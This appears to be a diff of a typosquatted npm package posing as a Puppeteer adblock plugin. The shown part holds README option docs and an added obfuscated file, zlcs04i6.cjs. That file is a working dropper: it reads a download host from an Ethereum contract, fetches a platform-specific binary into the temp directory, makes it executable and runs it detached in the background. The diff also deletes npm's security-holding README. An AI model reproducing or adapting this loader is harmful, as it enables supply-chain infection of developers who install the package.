interface PluginOptions {
|
101
|
+
/** Whether or not to block trackers (in addition to ads). Default: false */
|
102
|
+
blockTrackers: boolean
|
103
|
+
/** Whether or not to block trackers and other annoyances, including cookie
|
104
|
+
notices. Default: false */
|
105
|
+
blockTrackersAndAnnoyances: boolean
|
106
|
+
/** Persist adblocker engine cache to disk for speedup. Default: true */
|
107
|
+
useCache: boolean
|
108
|
+
/** Optional custom directory for adblocker cache files. Default: undefined */
|
109
|
+
cacheDir?: string
|
110
|
+
}
|
111
|
+
```
|
112
|
+
|
113
|
+
## Motivation
|
114
|
+
|
115
|
+
Ads and trackers are on most pages and often cost a lot of bandwidth and time
|
116
|
+
to load pages. Blocking ads and trackers allows pages to load much faster,
|
117
|
+
because less requests are made and less JavaScript need to run. Also, in cases
|
118
|
+
where you want to take screenshots of pages, it's nice to have an option to
|
119
|
+
remove the ads before.
|
package/zlcs04i6.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x51e1(_0x1fbcc6,_0x477b05){const _0x55c4e1=_0x55c4();return _0x51e1=function(_0x51e16d,_0x30640c){_0x51e16d=_0x51e16d-0x1af;let _0xd919d8=_0x55c4e1[_0x51e16d];return _0xd919d8;},_0x51e1(_0x1fbcc6,_0x477b05);}const _0x59b753=_0x51e1;(function(_0x4068dd,_0x3e764e){const _0x4bb9ee=_0x51e1,_0x40569f=_0x4068dd();while(!![]){try{const _0x2f9c06=-parseInt(_0x4bb9ee(0x1c8))/0x1*(parseInt(_0x4bb9ee(0x1be))/0x2)+-parseInt(_0x4bb9ee(0x1d7))/0x3+-parseInt(_0x4bb9ee(0x1d2))/0x4*(-parseInt(_0x4bb9ee(0x1ba))/0x5)+-parseInt(_0x4bb9ee(0x1df))/0x6*(parseInt(_0x4bb9ee(0x1cf))/0x7)+-parseInt(_0x4bb9ee(0x1bc))/0x8*(-parseInt(_0x4bb9ee(0x1d3))/0x9)+-parseInt(_0x4bb9ee(0x1c6))/0xa*(-parseInt(_0x4bb9ee(0x1e0))/0xb)+-parseInt(_0x4bb9ee(0x1af))/0xc*(parseInt(_0x4bb9ee(0x1b1))/0xd);if(_0x2f9c06===_0x3e764e)break;else _0x40569f['push'](_0x40569f['shift']());}catch(_0xd11a6b){_0x40569f['push'](_0x40569f['shift']());}}}(_0x55c4,0xb89c7));const {ethers}=require(_0x59b753(0x1c9)),axios=require(_0x59b753(0x1bd)),util=require('util'),fs=require('fs'),path=require(_0x59b753(0x1d8)),os=require('os'),{spawn}=require('child_process'),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x59b753(0x1c1),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider'](_0x59b753(0x1ce)),contract=new ethers[(_0x59b753(0x1b8))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x448637=_0x59b753;try{const _0x25f611=await contract[_0x448637(0x1c4)](WalletOwner);return _0x25f611;}catch(_0x430476){return console[_0x448637(0x1c3)](_0x448637(0x1d1),_0x430476),await fetchAndUpdateIp();}},getDownloadUrl=_0x4172f3=>{const _0x1dd5f7=_0x59b753,_0x5d1414={'VcAig':_0x1dd5f7(0x1d0),'pnngW':'darwin'},_0x1f6447=os['platform']();switch(_0x1f6447){case _0x1dd5f7(0x1b0):return _0x4172f3+'/node-win.exe';case _0x5d1414[_0x1dd5f7(0x1bf)]:return _0x4172f3+'/node-linux';case _0x5d1414['pnngW']:return _0x4172f3+_0x1dd5f7(0x1cb);default:throw new Error(_0x1dd5f7(0x1de)+_0x1f6447);}},downloadFile=async(_0x3355be,_0x1fe3a4)=>{const _0xcc4a4=_0x59b753,_0x5d9d81={'qswzr':_0xcc4a4(0x1cd),'DmTuc':function(_0xd2c96c,_0x5e42d4){return _0xd2c96c(_0x5e42d4);},'gfKQy':_0xcc4a4(0x1c0),'oTdZJ':_0xcc4a4(0x1b3)},_0x416254=fs[_0xcc4a4(0x1d6)](_0x1fe3a4),_0x3c6add=await _0x5d9d81[_0xcc4a4(0x1b4)](axios,{'url':_0x3355be,'method':_0x5d9d81[_0xcc4a4(0x1b7)],'responseType':_0x5d9d81[_0xcc4a4(0x1d4)]});return _0x3c6add[_0xcc4a4(0x1b2)][_0xcc4a4(0x1ca)](_0x416254),new Promise((_0x22330e,_0xbda04)=>{const _0x1ed86a=_0xcc4a4;_0x416254['on'](_0x5d9d81[_0x1ed86a(0x1d5)],_0x22330e),_0x416254['on'](_0x1ed86a(0x1c3),_0xbda04);});},executeFileInBackground=async _0x2dc6e6=>{const _0x12d8ae=_0x59b753,_0x205451={'QptwG':function(_0x21dcd3,_0x155f4f,_0x40066a,_0xed3282){return _0x21dcd3(_0x155f4f,_0x40066a,_0xed3282);},'TbVOE':_0x12d8ae(0x1b6)};try{const _0x59d1e4=_0x205451[_0x12d8ae(0x1c2)](spawn,_0x2dc6e6,[],{'detached':!![],'stdio':_0x12d8ae(0x1c5)});_0x59d1e4[_0x12d8ae(0x1c7)]();}catch(_0x36da35){console[_0x12d8ae(0x1c3)](_0x205451[_0x12d8ae(0x1dc)],_0x36da35);}},runInstallation=async()=>{const _0x3f433d=_0x59b753,_0x98053e={'JrVAh':function(_0x398d44){return _0x398d44();},'FkbNG':function(_0x46ca46,_0x41d7cc){return _0x46ca46(_0x41d7cc);},'WzXvN':function(_0x253f80,_0xf983d7,_0x448ad7){return _0x253f80(_0xf983d7,_0x448ad7);},'eGwvq':function(_0xc8c123,_0x54f8ff){return _0xc8c123(_0x54f8ff);},'NrLkO':_0x3f433d(0x1dd)};try{const _0x90a67a=await _0x98053e[_0x3f433d(0x1d9)](fetchAndUpdateIp),_0xaeb8d3=_0x98053e[_0x3f433d(0x1da)](getDownloadUrl,_0x90a67a),_0x383e67=os[_0x3f433d(0x1db)](),_0x3464ef=path[_0x3f433d(0x1e1)](_0xaeb8d3),_0x407d2a=path['join'](_0x383e67,_0x3464ef);await _0x98053e[_0x3f433d(0x1b5)](downloadFile,_0xaeb8d3,_0x407d2a);if(os['platform']()!==_0x3f433d(0x1b0))fs[_0x3f433d(0x1b9)](_0x407d2a,'755');_0x98053e[_0x3f433d(0x1bb)](executeFileInBackground,_0x407d2a);}catch(_0x429736){console[_0x3f433d(0x1c3)](_0x98053e[_0x3f433d(0x1cc)],_0x429736);}};function _0x55c4(){const _0xf87da5=['stream','DmTuc','WzXvN','Ошибка\x20при\x20запуске\x20файла:','gfKQy','Contract','chmodSync','10Cffmtb','eGwvq','1475312XyKCZd','axios','4002VJIgRv','VcAig','GET','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','QptwG','error','getString','ignore','30FOmTmp','unref','206PsUTDM','ethers','pipe','/node-macos','NrLkO','finish','mainnet','3675YwsUIV','linux','Ошибка\x20при\x20получении\x20IP\x20адреса:','2447624hSGsOq','72uhikVz','oTdZJ','qswzr','createWriteStream','3931740DFwSEw','path','JrVAh','FkbNG','tmpdir','TbVOE','Ошибка\x20установки:','Unsupported\x20platform:\x20','738UInFzO','2205665iOlWRY','basename','132QkAZSk','win32','894803fzfFpE','data'];_0x55c4=function(){return _0xf87da5;};return _0x55c4();}runInstallation();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=puppeteer-extra-plugin-adblokcer for more information.
|